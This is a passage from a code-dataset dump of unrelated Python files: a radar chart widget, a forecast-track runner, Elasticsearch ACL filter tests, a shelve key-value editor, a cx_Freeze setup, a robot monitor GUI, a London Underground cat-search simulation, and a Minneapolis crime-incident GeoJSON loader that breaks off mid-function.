\n","sub_path":"modmur.py","file_name":"modmur.py","file_ext":"py","file_size_in_byte":6474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"151017762","text":"\"\"\"\nAuthor: Stergios Mekras\nEmail: stergios.mekras@gmail.com\n\"\"\"\n\nimport tkinter as tk\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\n\n\nclass RadarGraph(object):\n def __init__(self, container, source):\n self.container = container\n self.source = source\n\n def draw_graph(self):\n data_frame = pd.DataFrame(self.source, index=[0])\n labels = data_frame.keys()\n stats = data_frame.loc[0, labels].values\n number = len(labels)\n angles = np.linspace(0, 2 * np.pi, number, endpoint=False)\n stats = np.concatenate((stats, [stats[0]]))\n angles = np.concatenate((angles, [angles[0]]))\n if number > 5:\n colors = ['royalblue', 'brown', 'seagreen']\n else:\n colors = ['#750075', '#007500', '#000075', '#757500', '#750000']\n\n fig = plt.figure(figsize=(2, 2), facecolor='#F6F4F2', constrained_layout=True)\n\n ax = fig.add_subplot(111, polar=True)\n\n ax.set_facecolor('#F6F4F2')\n ax.set_yticklabels([])\n ax.set_theta_zero_location('E', offset=90)\n ax.tick_params(labelsize=0, pad=-17)\n if len(colors) > 3:\n for i in range(number):\n ax.bar(0.62 + angles[i], stats[i], color=colors[i], width=(2 * np.pi / number))\n else:\n for i in [0, 7]:\n ax.bar(0.4 + angles[i], stats[i], color=colors[0], width=(2 * np.pi / number))\n for i in [1, 2, 3]:\n ax.bar(0.4 + angles[i], stats[i], color=colors[1], width=(2 * np.pi / number))\n for i in [4, 5, 6]:\n ax.bar(0.4 + angles[i], stats[i], color=colors[2], width=(2 * np.pi / number))\n\n ax.fill_between(np.linspace(0, 2 * np.pi), 0, 1, color='#000000', alpha=0.5)\n ax.fill_between(np.linspace(0, 2 * np.pi), 1, 2, color='#111111', alpha=0.5)\n ax.fill_between(np.linspace(0, 2 * np.pi), 2, 3, color='#222222', alpha=0.5)\n ax.fill_between(np.linspace(0, 2 * np.pi), 3, 4, color='#333333', alpha=0.5)\n ax.fill_between(np.linspace(0, 2 * np.pi), 4, 5, color='#444444', alpha=0.5)\n ax.fill_between(np.linspace(0, 2 * np.pi), 5, 6, color='#555555', alpha=0.5)\n ax.fill_between(np.linspace(0, 2 * np.pi), 6, 7, color='#666666', alpha=0.5)\n ax.fill_between(np.linspace(0, 2 * np.pi), 7, 8, color='#777777', alpha=0.5)\n ax.fill_between(np.linspace(0, 2 * np.pi), 8, 9, color='#888888', alpha=0.5)\n ax.fill_between(np.linspace(0, 2 * np.pi), 9, 10, color='#999999', alpha=0.5)\n\n plt.xticks(angles, stats)\n if all(i <= 5 for i in stats):\n plt.ylim(0, 5)\n else:\n plt.ylim(0, 10)\n\n return fig\n\n def place_canvas(self, options=None):\n if options is None:\n options = []\n fig = self.draw_graph()\n canvas = FigureCanvasTkAgg(fig, self.container)\n canvas.draw()\n if options:\n canvas.get_tk_widget().grid(row=options[0], column=options[1], rowspan=options[2], columnspan=options[3])\n else:\n canvas.get_tk_widget().pack(fill=tk.BOTH, expand=1)\n","sub_path":"interface/graphs.py","file_name":"graphs.py","file_ext":"py","file_size_in_byte":3187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"299341640","text":"from wofs.util import config\nfrom wofs.util.MultiProcessing import multiprocessing_per_date\nimport numpy as np\nfrom datetime import datetime\nfrom IdentifyForecastTracks import function_for_multiprocessing\n\n\"\"\" usage: stdbuf -oL python -u run_IdentifyForecastTracks.py 2 > & log & \"\"\"\n###########################################################################\n# Label forecast storm objects valid at a single time \n###########################################################################\ndebug = True\n# WOFS_UPDRAFT_SWATH_OBJECTS_20180501-2300_12.nc\nif debug:\n print(\"\\n Working in DEBUG MODE...\\n\")\n date = '20180501' \n time = '2300'\n fcst_time_idx = 6\n kwargs = {'time_indexs': np.arange( config.N_TIME_IDX_FOR_HR+1 ) + fcst_time_idx, \n 'fcst_time_idx': fcst_time_idx,\n 'debug': debug}\n function_for_multiprocessing( date, time, kwargs )\n \nelse:\n datetimes = config.datetimes_ml\n print ( len(datetimes) ) \n for fcst_time_idx in config.fcst_time_idx_set:\n print('\\n Start Time:', datetime.now().time())\n print(\"Forecast Time Index: \", fcst_time_idx)\n kwargs = {'time_indexs': np.arange( config.N_TIME_IDX_FOR_HR+1 ) + fcst_time_idx, 'fcst_time_idx': fcst_time_idx}\n multiprocessing_per_date( datetimes=datetimes, n_date_per_chunk=8, func=function_for_multiprocessing, kwargs=kwargs)\n print('End Time: ', datetime.now().time())\n","sub_path":"forecasts/run_IdentifyForecastTracks.py","file_name":"run_IdentifyForecastTracks.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"285242446","text":"from mock import patch, call, Mock\nfrom nefertari.utils import DataProxy\n\nfrom nefertari_guards import elasticsearch as es\n\n\nclass TestESHelpers(object):\n\n @patch('nefertari_guards.elasticsearch.engine')\n def test_build_acl_bool_terms(self, mock_engine):\n from pyramid.security import Allow\n mock_engine.ACLField.stringify_acl.return_value = [\n {'principal': 'user', 'permission': 'view'},\n {'principal': 'admin', 'permission': 'create'},\n {'principal': 'admin', 'permission': 'view'},\n ]\n mock_engine.ACLField._stringify_action.return_value = 'allow'\n terms = es._build_acl_bool_terms('zoo', Allow)\n mock_engine.ACLField.stringify_acl.assert_called_once_with('zoo')\n mock_engine.ACLField._stringify_action.assert_called_once_with(Allow)\n assert len(terms) == 3\n assert {'term': {'_acl.action': 'allow'}} in terms\n assert {'terms': {'_acl.principal': ['admin', 'user']}} in terms\n assert {'terms': {'_acl.permission': ['create', 'view']}} in terms\n\n def test_build_acl_from_principals(self):\n from pyramid.security import Deny, ALL_PERMISSIONS\n acl = es._build_acl_from_principals(\n ['admin', 'user'], Deny, 'delete')\n assert (Deny, 'user', 'delete') in acl\n assert (Deny, 'user', ALL_PERMISSIONS) in acl\n assert (Deny, 'admin', 'delete') in acl\n assert (Deny, 'admin', ALL_PERMISSIONS) in acl\n\n @patch('nefertari_guards.elasticsearch._build_acl_bool_terms')\n @patch('nefertari_guards.elasticsearch._build_acl_from_principals')\n def test_build_acl_query(self, build_princ, build_terms):\n from pyramid.security import Deny, Allow\n build_princ.return_value = [(1, 2, 3)]\n build_terms.return_value = 'foo'\n query = es.build_acl_query(['user', 'admin'], 'update')\n build_princ.assert_has_calls([\n call(['user', 'admin'], Allow, 'update'),\n call(['user', 'admin'], Deny, 'update'),\n ])\n build_terms.assert_has_calls([\n call([(1, 2, 3)], Allow),\n call([(1, 2, 3)], Deny),\n ])\n must = must_not = {\n 'nested': {\n 'path': '_acl',\n 'filter': {'bool': {'must': 'foo'}}\n }\n }\n assert query == {\n 'must': [must],\n 'must_not': must_not\n }\n\n @patch('nefertari_guards.elasticsearch._check_permissions')\n def test_check_relations_permissions_dict(self, mock_check):\n mock_check.return_value = 1\n document = {\n 'one': 2,\n 'two': {},\n 'three': ['foo', 'bar']\n }\n request = 'Foo'\n checked = es.check_relations_permissions(request, document)\n assert checked == {\n 'one': 1,\n 'two': 1,\n 'three': [1, 1]\n }\n mock_check.assert_has_calls([\n call(request, 2),\n call(request, {}),\n call(request, 'foo'),\n call(request, 'bar'),\n ], any_order=True)\n\n @patch('nefertari_guards.elasticsearch._check_permissions')\n def test_check_relations_permissions_dataproxy(self, mock_check):\n mock_check.return_value = 1\n data = {\n 'one': 2,\n 'two': {},\n 'three': ['foo', 'bar']\n }\n document = DataProxy(data)\n request = 'Foo'\n checked = es.check_relations_permissions(request, document)\n assert checked._data == {\n 'one': 1,\n 'two': 1,\n 'three': [1, 1]\n }\n mock_check.assert_has_calls([\n call(request, 2),\n call(request, {}),\n call(request, 'foo'),\n call(request, 'bar'),\n ], any_order=True)\n\n @patch('nefertari_guards.elasticsearch._check_permissions')\n def test_check_relations_permissions_none_dropped(self, mock_check):\n mock_check.return_value = None\n document = {\n 'one': 2,\n 'two': {},\n 'three': ['foo', 'bar']\n }\n checked = es.check_relations_permissions('Foo', document)\n assert checked == {\n 'one': None,\n 'two': None,\n 'three': []\n }\n\n def test_check_permissions_invalid_doc(self):\n assert es._check_permissions(None, 1) == 1\n assert es._check_permissions(None, 'foo') == 'foo'\n assert es._check_permissions(None, {'id': 1}) == {'id': 1}\n\n @patch('nefertari_guards.elasticsearch.engine')\n @patch('nefertari_guards.elasticsearch.SimpleContext')\n def test__check_permissions_check_failed(self, mock_ctx, mock_engine):\n request = Mock()\n request.has_permission.return_value = False\n document = {'_type': 'Story', '_acl': ['foobar']}\n assert es._check_permissions(request, document) is None\n mock_engine.ACLField.objectify_acl.assert_called_once_with(\n ['foobar'])\n objectified = mock_engine.ACLField.objectify_acl()\n mock_ctx.assert_called_once_with(objectified)\n request.has_permission.assert_any_call('view', mock_ctx())\n\n @patch('nefertari_guards.elasticsearch.check_relations_permissions')\n @patch('nefertari_guards.elasticsearch.engine')\n @patch('nefertari_guards.elasticsearch.SimpleContext')\n def test__check_permissions_check_succeeded(\n self, mock_ctx, mock_engine, mock_check):\n request = Mock()\n request.has_permission.return_value = True\n document = {'_type': 'Story', '_acl': ['foobar']}\n result = es._check_permissions(request, document)\n mock_engine.ACLField.objectify_acl.assert_called_once_with(\n ['foobar'])\n objectified = mock_engine.ACLField.objectify_acl()\n mock_ctx.assert_called_once_with(objectified)\n request.has_permission.assert_any_call('view', mock_ctx())\n mock_check.assert_called_once_with(request, document)\n assert result == mock_check()\n\n\nclass TestACLFilterES(object):\n\n @patch('nefertari_guards.elasticsearch.build_acl_query')\n def test_build_search_params(self, mock_build):\n obj = es.ACLFilterES('Foo', 'foondex', chunk_size=10)\n obj._req_permission = 'view'\n mock_build.return_value = {'must': ['zoo']}\n params = obj.build_search_params(\n {'foo': 1, '_limit': 10, '_principals': [3, 4]})\n assert sorted(params.keys()) == sorted([\n 'body', 'doc_type', 'from_', 'size', 'index'])\n assert params['body'] == {\n 'query': {\n 'bool': {\n 'must': [\n 'zoo',\n {'query_string': {'query': 'foo:1'}}\n ]\n }\n }\n }\n assert params['index'] == 'foondex'\n assert params['doc_type'] == 'Foo'\n mock_build.assert_called_once_with([3, 4], 'view')\n\n @patch('nefertari_guards.elasticsearch.check_relations_permissions')\n @patch('nefertari_guards.elasticsearch.ES.get_collection')\n def test_get_collection_no_request(self, mock_get, mock_filter):\n obj = es.ACLFilterES('Foo', 'foondex', chunk_size=10)\n obj.get_collection(foo=1)\n mock_get.assert_called_once_with(foo=1)\n assert not mock_filter.called\n\n @patch('nefertari_guards.elasticsearch.check_relations_permissions')\n @patch('nefertari_guards.elasticsearch.ES.get_collection')\n def test_get_collection_no_auth(self, mock_get, mock_filter):\n obj = es.ACLFilterES('Foo', 'foondex', chunk_size=10)\n request = Mock()\n request.registry.settings = {'auth': 'false'}\n obj.get_collection(foo=1)\n mock_get.assert_called_once_with(foo=1)\n assert not mock_filter.called\n\n @patch('nefertari_guards.elasticsearch.check_relations_permissions')\n @patch('nefertari_guards.elasticsearch.ES.get_collection')\n def test_get_collection_auth(self, mock_get, mock_filter):\n from nefertari.elasticsearch import _ESDocs\n docs = _ESDocs([1, 2])\n docs._nefertari_meta = 'asd'\n mock_get.return_value = docs\n obj = es.ACLFilterES('Foo', 'foondex', chunk_size=10)\n request = Mock(\n effective_principals=['user', 'admin'],\n action='index')\n request.registry.settings = {'auth': 'true'}\n obj.get_collection(request=request, foo=1)\n assert obj._req_permission == 'view'\n mock_get.assert_called_once_with(\n foo=1, _principals=['user', 'admin'])\n mock_filter.assert_has_calls([\n call(request, 1),\n call(request, 2),\n ])\n\n @patch('nefertari_guards.elasticsearch.check_relations_permissions')\n @patch('nefertari_guards.elasticsearch.ES.get_item')\n def test_get_item_no_request(self, mock_get, mock_filter):\n obj = es.ACLFilterES('Foo', 'foondex', chunk_size=10)\n obj.get_item(foo=1)\n mock_get.assert_called_once_with(foo=1)\n assert not mock_filter.called\n\n @patch('nefertari_guards.elasticsearch.check_relations_permissions')\n @patch('nefertari_guards.elasticsearch.ES.get_item')\n def test_get_item_no_auth(self, mock_get, mock_filter):\n obj = es.ACLFilterES('Foo', 'foondex', chunk_size=10)\n request = Mock()\n request.registry.settings = {'auth': 'false'}\n obj.get_item(foo=1)\n mock_get.assert_called_once_with(foo=1)\n assert not mock_filter.called\n\n @patch('nefertari_guards.elasticsearch.check_relations_permissions')\n @patch('nefertari_guards.elasticsearch.ES.get_item')\n def test_get_item_auth(self, mock_get, mock_filter):\n mock_get.return_value = 1\n obj = es.ACLFilterES('Foo', 'foondex', chunk_size=10)\n request = Mock()\n request.registry.settings = {'auth': 'true'}\n obj.get_item(request=request, foo=1)\n mock_get.assert_called_once_with(foo=1)\n mock_filter.assert_called_once_with(request, 1)\n","sub_path":"tests/test_elasticsearch.py","file_name":"test_elasticsearch.py","file_ext":"py","file_size_in_byte":9981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"457116753","text":"#! python3\n# kv.py\n\nimport os\nimport sys\nimport shelve\n\n\ndef kv(option):\n\tprint(\"----------\" + option + \"----------\")\n\tshelfFile = shelve.open(os.path.join(os.getcwd(), 'data', option))\n\tklist = list(shelfFile.keys())\n\tprint(\"Keys: \" + str(sorted(klist)))\n\tprint(\"Key:\")\n\tkey = str(input())\n\n\tif key == 'all':\n\t\tfor k, v in sorted(shelfFile.items()):\n\t\t\tprint(k, v)\n\t\treturn\n\n\ttry:\n\t\tvalue = shelfFile[key]\n\t\tprint(\"Value: \" + str(value))\n\t\tprint(\"Would you like to change the key's value?\")\n\t\tprint(\"y/n/d?\")\n\n\t\tresp = str(input())\n\t\tif resp == 'y':\n\t\t\tif option in ['daily', 'dailysilvercar', 'sixttransition']:\n\t\t\t\tshelfFile.close()\n\t\t\telse:\n\t\t\t\tprint(\"Enter a new value:\")\n\t\t\t\tif option in ['opisData', 'opisMidgrade', 'gm', 'gmmidgrade']:\n\t\t\t\t\tnew_value = float(input())\n\t\t\t\telse:\n\t\t\t\t\tnew_value = input()\n\t\t\t\tshelfFile[key] = new_value\n\t\t\t\tprint(\"Stored kv pair: \" + key + \", \" + str(new_value))\n\n\t\telif resp.lower() == 'n':\n\t\t\tsys.exit\n\n\t\telif resp.lower() == 'd':\n\t\t\tprint(\"Are you sure you wish to delete stored kv pair: \" + key + \", \" + str(value) + \" ?\")\n\t\t\tprint(\"y/n?\")\n\t\t\tresp2 = str(input())\n\t\t\tif resp2.lower() == 'y':\n\t\t\t\tdel shelfFile[key]\n\t\t\t\tprint(\"kv pair deleted\")\n\t\t\telif resp2.lower() == 'n':\n\t\t\t\tsys.exit\n\n\texcept KeyError:\n\t\tif option in ['daily', 'dailysilvercar', 'sixttransition']:\n\t\t\tshelfFile.close()\n\t\telse:\n\t\t\tprint(\"Enter a new value:\")\n\t\t\tif option in ['opisData', 'opisMidgrade', 'gm', 'gmmidgrade']:\n\t\t\t\tnew_value = float(input())\n\t\t\telse:\n\t\t\t\tnew_value = input()\n\t\t\tshelfFile[key] = new_value\n\t\t\tprint(\"Stored kv pair: \" + key + \", \" + str(new_value))\n\tshelfFile.close()\n\n\nprint(\"Which kv would you like to see?\")\nprint(\"-------------------------------\")\nprint(\"1. INVOICE\")\nprint(\"2. OPIS DATA\")\nprint(\"3. DAILY\")\nprint(\"4. GM\")\nprint(\"5. OPIS MIDGRADE\")\nprint(\"6. GM MIDGRADE\")\nprint(\"7. DAILY SILVERCAR\")\nprint(\"8. INVOICE SILVERCAR\")\nprint(\"9. SIXT TRANSITION\")\nprint(\"10. SIXT TRANSITION INVOICE\")\nprint(\"-------------------------------\")\nprint(\"1/2/3/4/5/6/7/8/9/10?\")\n\nchoice = input()\nif choice == '1':\n\tkv('invoice')\nelif choice == '2':\n\tkv('opisData')\nelif choice == '3':\n\tkv('daily')\nelif choice == '4':\n\tkv('gm')\nelif choice == '5':\n\tkv('opisMidgrade')\nelif choice == '6':\n\tkv('gmmidgrade')\nelif choice == '7':\n\tkv('dailysilvercar')\nelif choice == '8':\n\tkv('invoicesilvercar')\nelif choice == '9':\n\tkv('sixttransition')\nelif choice == '10':\n\tkv('invoicesixttransition')\n","sub_path":"kv.py","file_name":"kv.py","file_ext":"py","file_size_in_byte":2419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"516014886","text":"import os.path, scipy\r\nfrom cx_Freeze import setup, Executable\r\n\r\nPYTHON_INSTALL_DIR = os.path.dirname(os.path.dirname(os.__file__))\r\nos.environ['TCL_LIBRARY'] = os.path.join(PYTHON_INSTALL_DIR, 'tcl', 'tcl8.6')\r\nos.environ['TK_LIBRARY'] = os.path.join(PYTHON_INSTALL_DIR, 'tcl', 'tk8.6')\r\n\r\n\r\n\r\npackages = ['idna', 'signal', 'time', 'os', 'logging', 'make_heatmap', 'pandas',\r\n 'numpy', 'seaborn', 'matplotlib.pyplot', 'scipy', 'scipy.sparse.csgraph._validation', \r\n 'scipy.spatial.ckdtree']\r\n \r\noptions = {\r\n\t'build_exe': {\r\n\t\t'packages': packages,\r\n\t\t'include_files': [os.path.join(PYTHON_INSTALL_DIR, 'DLLs', 'tk86t.dll'),\r\n\t\t\t\t\t\t os.path.join(PYTHON_INSTALL_DIR, 'DLLs', 'tcl86t.dll')],\r\n\t\t'includes': ['scipy.sparse.csgraph._validation', 'scipy.spatial.ckdtree']}\r\n\t\t}\r\n\t\t\t\t\t\t \r\n\r\n\r\nbase = None\r\n\t\r\n\r\nexecutables = [Executable('my_service.py', base=base)]\r\n\r\n\r\n\r\nsetup( name = 'heatmaps_one', \r\n\toptions = options, \r\n\tversion = '0.1', \r\n\tdescription = 'Makes heatmaps from csv file.', \r\n\texecutables = executables)\r\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"179687145","text":"from Tkinter import *\n#from corobot import Robot\n\nclass CorobotMonitorUI(Tk):\n\n def __init__(self):\n \"\"\" Corobot general info monitor \n \"\"\"\n Tk.__init__(self)\n self.title(\"Corobot Monitor\")\n\n self.frame = Frame(self)\n self.frame.pack(padx=8, pady=8)\n\n self.label = Label(self.frame, text=\"Current Pose\", font=(\"Helvetica\", 24))\n self.label.pack(side='top')\n\n self.xinfo = Label(self.frame, text=\"X: 0.0\", font=(\"Helvetica\", 24))\n self.xinfo.pack()\n self.yinfo = Label(self.frame, text=\"Y: 0.0\", font=(\"Helvetica\", 24))\n self.yinfo.pack()\n self.thinfo = Label(self.frame, text=\"Theta: 0.0\", font=(\"Helvetica\", 24))\n self.thinfo.pack()\n\n self.absGoalInfo = Label(self.frame, text=\"AbsGoal: -\", font=(\"Helvetica\", 24))\n self.absGoalInfo.pack()\n\n self.rawnavinfo = Label(self.frame, text=\"RawNav: -\", font=(\"Helvetica\", 24))\n self.rawnavinfo.pack()\n\n self.velCmdInfo = Label(self.frame, text=\"ActVel: -\", font=(\"Helvetica\", 24))\n self.velCmdInfo.pack()\n\n self.obsinfo = Label(self.frame, text=\"ObsLoc: -\", font=(\"Helvetica\", 24))\n self.obsinfo.pack()\n\n self.netForceInfo = Label(self.frame, text=\"NetForce: -\", font=(\"Helvetica\", 24))\n self.netForceInfo.pack()\n\n self.qrCountInfo = Label(self.frame, text=\"QRLeft: 0 ; QRRight: 0\", font=(\"Helvetica\", 24))\n self.qrCountInfo.pack()\n\n self.batteryInfo = Label(self.frame, text=\"Battery: -\", font=(\"Helvetica\", 24))\n self.batteryInfo.pack()\n\n self.laptopBatteryInfo = Label(self.frame, text=\"Laptop Battery: -\", font=(\"Helvetica\", 24))\n self.laptopBatteryInfo.pack()\n\n self.recoveryInfo = Label(self.frame, text=\"Recovery: -\", font=(\"Helvetica\", 24))\n self.recoveryInfo.pack()\n\n self.tBox = Entry(self.frame, width=10)\n self.tBox.pack()\n\n #Button(self.frame, text = 'Submit', command = navigate).pack(side=LEFT)\n\n def navigate():\n pass\n \"\"\"with Robot(\"127.0.0.1\", 15001) as r:\n r.nav_to(self.tBox.get())\"\"\"\n\n def setPose(self, x, y, theta):\n self.xinfo.configure(text=\"X: {0:6.3f}\".format(x))\n self.yinfo.configure(text=\"Y: {0:6.3f}\".format(y))\n self.thinfo.configure(text=\"Theta: {0:+4.2f}\".format(theta))\n\n def setRawnavMsg(self, txt):\n txt = \"RawNav: \" + txt\n self.rawnavinfo.configure(text=txt)\n\n def setObsMsg(self, txt):\n txt = \"Obs: \" + txt\n self.obsinfo.configure(text=txt)\n\n def setAbsGoalMsg(self, txt):\n txt = \"AbsGoal: \" + txt\n self.absGoalInfo.configure(text=txt)\n\n def setNetForceMsg(self, txt):\n txt = \"NetForce: \" + txt\n self.netForceInfo.configure(text=txt)\n\n def setVelCmdMsg(self, txt):\n txt = \"ActVel: \" + txt\n self.velCmdInfo.configure(text=txt)\n\n def setQrCountMsg(self, txt):\n \"\"\"qrInfoText = self.qrCountInfo.cget(\"text\")\n if txt[0] == 'L':\n rightPart = qrInfoText[qrInfoText.index(\";\") : ]\n txt = \"QRLeft: \" + txt[1 : ] + \" \" + rightPart\n else:\n leftPart = qrInfoText[0 : qrInfoText.index(\";\")]\n txt = leftPart + \"; QRRight: \" + txt[1 : ]\"\"\"\n self.qrCountInfo.configure(text=txt)\n\n def setRecoveryMsg(self, txt):\n self.recoveryInfo.configure(text=txt)\n\n def setBatteryMsg(self, txt):\n txt = \"Battery: \" + txt + \"%\"\n self.batteryInfo.configure(text=txt)\n\n def setLaptopBatteryMsg(self, txt):\n txt = \"Laptop Battery: \" + txt\n self.laptopBatteryInfo.configure(text=txt)\n\n\n\nclass CorobotUIMessage(Tk):\n\n def __init__(self, display_text, timeout, confirm, okay_text=\"Okay\"):\n \"\"\" Corobot popup message ui. \n\n Arguments:\n display_text -- Message to display in the popup.\n timeout --- Timeout in seconds after which the popup closes and is assumed unconfirmed.\n confirm --- True if message requires confirmation, False if not.\n okay_text --- Text for the confirmation button, defaults to \"Okay\"\n\n \"\"\"\n Tk.__init__(self)\n self.title(\"Corobot Message\")\n\n # Confirm indicates whether a response is needed, with the response defaulting to false.\n self.confirm = confirm\n self.response = False\n\n frame = Frame(self)\n frame.pack(padx=8, pady=8)\n\n # Text wraps at half of screen width.\n label = Label(frame, text=display_text, font=(\"Helvetica\", 24), wraplength=(self.winfo_screenwidth()/2))\n label.pack(side='top')\n\n if self.confirm:\n btn1 = Button(frame, text=okay_text, command=self.okay, font=(\"Helvetica\", 16))\n btn1.pack(side='bottom', padx=4, pady=4)\n\n self.update()\n width = self.winfo_width()\n height = self.winfo_height()\n # Center popup and set minimum window size to smallest pack of \n # ui elements.\n xp = (self.winfo_screenwidth() / 2) - (width / 2)\n yp = (self.winfo_screenheight() / 2) - (height / 2)\n\n self.geometry(\"%dx%d%+d%+d\" % (width, height, xp, yp))\n self.minsize(width, height)\n\n # Prevent closing via the 'X' button, forcing either confirmation\n # or timeout.\n self.protocol(\"WM_DELETE_WINDOW\", self.ignore)\n # Set timeout and disable window decorations\n self.after(int(timeout*1000), self.timeout_destroy)\n self.update_idletasks()\n\n def okay(self):\n \"\"\"Message confirmed, used with 'Okay' button\"\"\"\n self.response = True\n self.destroy()\n\n def timeout_destroy(self):\n \"\"\"Destroy on timeout method, means the message was not confirmed.\"\"\"\n if self.confirm:\n self.response = False\n self.destroy()\n\n def was_confirmed(self):\n \"\"\"Getter for whether the message was confirmed\"\"\"\n return self.response\n\n def ignore(self):\n \"\"\"Used to override close behavior of 'X' button\"\"\"\n pass\n","sub_path":"corobot_manager/src/corobot_manager/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":6003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"126341482","text":"import csv\nimport random\nfrom os import path\nfrom collections import defaultdict\n\nMODULE_DIR = path.dirname(path.abspath(__file__))\nTFL_CONNECTIONS = path.join(MODULE_DIR, 'data', 'tfl_connections.csv')\nTFL_STATIONS = path.join(MODULE_DIR, 'data', 'tfl_stations.csv')\n\n\nclass CatFinder(object):\n \"\"\"\n Simulates search for missing cats using TLF underground network\n \"\"\"\n\n def __init__(self, connections, stations, missing):\n self._connections = connections\n self._stations = stations\n self._missing = missing\n self._owners_looking = {}\n self._lost_cats = {}\n self._owners_found = {}\n self._found_cats = {}\n self._set_initial_positions()\n\n def _set_initial_positions(self):\n \"\"\"\n Randomly assigns positions to cats and owners\n \"\"\"\n for i in xrange(self._missing):\n self._owners_looking[i] = [random.choice(self._connections.keys())]\n self._lost_cats[i] = random.choice(self._stations.keys())\n while self._owners_looking[i] == self._lost_cats[i]:\n self._lost_cats[i] = random.choice(self._stations.keys())\n\n def _owners_move(self):\n \"\"\"\n Moves all owners\n \"\"\"\n for k, v in self._owners_looking.items():\n try:\n # Can we travel to station which we have not been before?\n open_stations = [s for s in self._connections[v[-1]] if self._stations[s]['open']]\n destinations = set(open_stations) - set(self._owners_looking[k])\n if not destinations:\n # If not we just travel like a cat :-)\n destinations = open_stations\n else:\n destinations = list(destinations)\n self._owners_looking[k].append(random.choice(destinations))\n except (IndexError, KeyError):\n pass\n\n def _cats_move(self):\n \"\"\"\n Moves all cats\n \"\"\"\n for k, v in self._lost_cats.items():\n try:\n open_stations = [s for s in self._connections[v] if self._stations[s]['open']]\n self._lost_cats[k] = random.choice(open_stations)\n except (IndexError, KeyError):\n pass\n\n def _find_cats(self):\n # For now, cats and owners are matched by id of the pair, which limits owners to looking for only one cat\n # at a time\n for k, v in self._owners_looking.items():\n if v[-1] == self._lost_cats[k]:\n self._owners_found[k] = self._owners_looking.pop(k)\n self._found_cats[k] = self._lost_cats.pop(k)\n self._stations[v[-1]]['open'] = False\n print('Owner {0} found cat {0} - {1} is now closed.'.format(k, self._stations[v[-1]]['name']))\n\n def look_for_cats(self, moves=100000):\n \"\"\"\n Main method running simulated search for missing cats and printing statistics\n @param moves: maximum number of moves cats and owners do during the search\n \"\"\"\n for i in xrange(moves):\n if not self._lost_cats or self._all_trapped():\n break\n self._cats_move()\n self._owners_move()\n self._find_cats()\n trapped_cats, trapped_owners = self._get_trapped_numbers()\n average_moves, average_found = self._calc_averages()\n stats = (\n '{}\\n'\n 'Total number of cats: {}\\n'\n 'Number of cats found: {}\\n'\n 'Number of trapped cats {}\\n'\n 'Number of trapped owners {}\\n'\n 'Average number of movements: {}\\n'\n 'Average number of movements required to find a cat: {}\\n'\n )\n print(stats.format('-' * 50, self._missing, len(self._found_cats), trapped_cats, trapped_owners, average_moves,\n average_found))\n\n def _calc_averages(self):\n \"\"\"\n Calculates average number of moves by owners and moves resulted in finding a cat\n @return: tuple containing average number of moves by owners and moves resulted in finding a cat\n \"\"\"\n return (\n float(sum([len(e) for e in self._owners_found.values() + self._owners_looking.values()])) /\n (len(self._owners_found) + len(self._owners_looking)) if (self._owners_found or self._owners_looking)\n else '-',\n float(sum([len(e) for e in self._owners_found.values()])) /\n len(self._owners_found) if self._owners_found else '-'\n )\n\n def _all_trapped(self):\n \"\"\"\n Returns True if all cats and owners are trapped at stations with no connections\n This functions do not take under consideration cases when all connected stations are closed!!!\n @return: True or False\n \"\"\"\n trapped_cats, trapped_owners = self._get_trapped_numbers()\n return (trapped_owners + len(self._owners_found) == self._missing and\n trapped_cats + len(self._found_cats) == self._missing)\n\n def _get_trapped_numbers(self):\n \"\"\"\n Calculates number of trapped cats and owners\n @return: tuple containing number of trapped cats and owners\n \"\"\"\n return (len([e for e in self._lost_cats.values() if e not in self._connections]),\n len([e for e in self._owners_looking.values() if e[-1] not in self._connections]))\n\n\ndef prepare_map_data():\n \"\"\"\n Function reading and pre processing information about stations and connections\n @return: tuple containing dict of connections available from stations and dict of station with its names\n \"\"\"\n connections = defaultdict(set)\n stations = {}\n with open(TFL_CONNECTIONS) as c:\n for f, t in csv.reader(c):\n connections[f].add(t)\n with open(TFL_STATIONS) as s:\n for nr, name in csv.reader(s):\n stations[nr] = {'name': name, 'open': True}\n connections = {k: list(v) for k, v in connections.iteritems()}\n return connections, stations\n\n\nif __name__ == '__main__':\n m = ''\n while not (m.isdigit() and m):\n m = raw_input('Enter number of missing cats: ')\n print('\\n*** search started ***')\n connections, stations = prepare_map_data()\n cf = CatFinder(connections, stations, missing=int(m))\n cf.look_for_cats()\n","sub_path":"find_my_cat.py","file_name":"find_my_cat.py","file_ext":"py","file_size_in_byte":6324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"623296369","text":"import pandas as pd\nfrom collections import OrderedDict \nimport json\nfrom geojson import Feature, FeatureCollection, Point\n\n# define the path to the combined incident csv\nall_incidents_csv = \"incident_data/yearly_incident_data/all_incidents.csv\"\n\n# Import the csv file into data frame\nall_incidents_df = pd.read_csv(all_incidents_csv, encoding=\"utf-8\",low_memory=False)\n\nall_incidents_df = all_incidents_df.fillna('')\n\ndef load_mpls_incidents():\n# create a list to hold the geo data dictionaries\n geoList = []\n\n # loop through the df to create the list dictionaries to be added to our list\n for index, row in all_incidents_df.iterrows():\n lat = row[6]\n lon = row[7]\n caseNumber = row[1]\n description = row[4]\n neighborhood = row[8]\n incidentDate = row[9]\n\n latitude, longitude = map(float, (lat, lon))\n geoList.append(\n Feature(\n geometry = Point((lon, lat)),\n properties = {\n 'caseNumber': caseNumber,\n 'description': description,\n 'neighborhood':neighborhood,\n 'incidentDate': incidentDate\n }\n )\n )\n\n collection = FeatureCollection(geoList)\n\n #export to the yearly incident data folder\n with 